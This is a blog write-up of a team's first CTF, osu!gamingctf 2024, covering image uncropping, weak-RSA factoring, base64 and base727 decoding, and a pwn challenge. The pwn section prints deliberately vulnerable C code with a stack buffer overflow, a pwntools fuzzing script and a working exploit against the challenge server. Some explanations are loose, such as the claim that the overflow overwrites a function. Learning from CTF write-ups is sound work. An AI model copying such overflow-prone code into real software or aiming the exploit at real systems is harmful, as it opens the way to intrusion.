Logo strn.dev
osu!gamingctf 2024 writeups!

osu!gamingctf 2024 writeups!

March 3, 2024
6 min read
Table of Contents

This weekend, me and my team D0M BU$TЄR$ played our first CTF, and played osu!gamingctf 2024. We finished in 210th place, with 14/54 challenges solved.


forensics/nathan-on-osu

Here’s an old screenshot of chat logs between sahuang and Nathan on hollow’s Windows machine, but a crucial part of the conversation seems to be cropped out… Can you help to recover the flag from the future?

We are given one file, nathan-on-osu.png. We need to somehow “uncrop” an image? Searching for “uncrop image vulnerability” gives us a tool called Acropalypse. We can use this tool to uncrop the image, and by simply guessing that the original resolution is 1920x1080, we can view the flag.

osu{cr0pp3d_Future_Candy<3}

crypto/rossau

My friend really likes sending me hidden messages, something about a public key with n = 5912718291679762008847883587848216166109 and e = 876603837240112836821145245971528442417. What is the name of player with the user ID of the private key exponent? (Wrap with osu)

This is an implementation of RSA, which is a way of encrypting messages between each other. Something worth noting is that with RSA, there exists a public key and a private key. We have been given the values nn and ee which is part of the public key. N=p×qN = p \times q, where pp and qq are very large prime numbers.

The main reason why RSA is used so much today is that you cannot factor down nn to its highest prime factors, which is why the modulus (N in this case) usually is so large. In this case, we only have a modulus that is the size 40. This means we can easily factor down nn to its prime factors, which are pp, and qq. We’ll use Euler’s totient function which is:

ϕn=(p1)×(q1)\phi{n} = (p-1) \times (q-1)

We can then use the modular inverse to calculate dd, which is our private key exponent.

from sympy import factorint, mod_inverse
 
# given public key
n = 5912718291679762008847883587848216166109
e = 876603837240112836821145245971528442417
 
# getting prime factors
factors = factorint(n)
p, q = factors.keys()
 
# getting private key exponent
phi_n = (p - 1) * (q - 1)
d = mod_inverse(e, phi_n)
 
print("https://osu.ppy.sh/users/{}".format(d))

Link is https://osu.ppy.sh/users/124493, which is chocomint’s account.

osu{chocomint}

web/when-you-dont-see-it

welcome to web! there’s a flag somewhere on my osu! profile… https://osu.ppy.sh/users/11118671

We get linked an osu profile, and we can easily find the flag by inspecting the page source, and searching for “the flag”.

the flag is b3N1e29rX3Vfc2VlX21lfQ== encoded with base64,

A Base64 decode gives us the final flag.

flag


crypto/base727

image

As this challenge was made using ChatGPT, we can ask ChatGPT to do the reverse. You can’t expect me to decode this by hand, right?

chatgpt

def decode_base727(encoded_string):
    decimal_value = 0
    base = 727
    for char in encoded_string:
        decimal_value = decimal_value * base + ord(char)
    return decimal_value
 
def main():
    encoded_string = "06c3abc49dc4b443ca9d65c8b0c386c4b0c99fc798c2bdc5bccb94c68c37c296ca9ac29ac790c4af7bc585c59d"
    decoded_value = decode_base727(encoded_string)
    print("Decoded value:", decoded_value)
 
if __name__ == "__main__":
    main()

pwn/betterthanu

bet you can’t beat a single one of my plays! nc chal.osugaming.lol 7279

We are given a C file with the challenge.

chall.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
 
FILE *flag_file;
char flag[100];
 
int main(void) {
    unsigned int pp;
    unsigned long my_pp;
    char buf[16];
 
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
 
    printf("How much pp did you get? ");
    fgets(buf, 100, stdin);
    pp = atoi(buf);
 
    my_pp = pp + 1;
 
    printf("Any last words?\n");
    fgets(buf, 100, stdin);
 
    if (pp <= my_pp) {
        printf("Ha! I got %d\n", my_pp);
        printf("Maybe you'll beat me next time\n");
    } else {
        printf("What??? how did you beat me??\n");
        printf("Hmm... I'll consider giving you the flag\n");
 
        if (pp == 727) {
            printf("Wait, you got %d pp?\n", pp);
            printf("You can't possibly be an NPC! Here, have the flag: ");
 
            flag_file = fopen("flag.txt", "r");
            fgets(flag, sizeof(flag), flag_file);
            printf("%s\n", flag);
        } else {
            printf("Just kidding!\n");
        }
    }
 
    return 0;
}
Source challenge

Our goal is to win against our opponent, but the problem is that somehow we must set our pp value to be higher than pp + 1, which obviously is impossible. We can see that the my_pp value is set to pp + 1, and if pp <= my_pp, we lose.

Let’s take a deeper look at the source. We know that the buffer can only take 16 bytes, but the fgets function allows us to input 100 bytes, which means we can overflow the buffer. This vulnerable fgets call actually gets called twice, the first one to set the variable pp to, and the second one, as “last words”.

This actually helps us out, because we can set pp to 727 for the first call, and for the second function, we can actually overflow the buffer. By “overflowing the buffer”, I mean we can send a lot of garbage into the buffer, and hopefully overwriting the function that checks if pp <= my_pp, allowing us to win (because we’ve already solved the first constraint by setting pp = 727).

I made a script to bruteforce potential offsets to “win”. Notice how we send b'A' * i and incrementing until “Ha” is not in the response, meaning we’ve successfully overwritten the function.

from pwn import *
 
working_offsets = []
 
for i in range(1, 20):
    with process("./challenge") as p:
        p.sendlineafter(b'How much pp did you get? ', b'727')
        p.sendlineafter(b'Any last words?\n', b'A' * i)
        resp = p.recvline().decode().strip()
        if "Ha!" not in resp:
            log.success(f"works, {i}")
            working_offsets.append(i)
        else:
            log.failure(f"nope, with {i}")
 
print(working_offsets)
Fuzzing script

Working offsets are [15, 16], so we can send 15 bytes to overflow the buffer.

exploit.py
from pwn import *
 
#p = process('./challenge')
 
p = remote('chal.osugaming.lol', 7279)
 
p.sendline(b'727') # setting pp to 727
 
p.sendline(b'A' * 15) # overflowing function that checks if pp <= my_pp
 
p.interactive()
 
p.close()
[+] Opening connection to chal.osugaming.lol on port 7279: Done
[*] Switching to interactive mode
How much pp did you get? Any last words?
What??? how did you beat me??
Hmm... I'll consider giving you the flag
Wait, you got 727 pp?
You can't possibly be an NPC! Here, have the flag: osu{i_cant_believe_i_saw_it}
 
[*] Got EOF while reading in interactive
flag
osu{i_cant_believe_i_saw_it}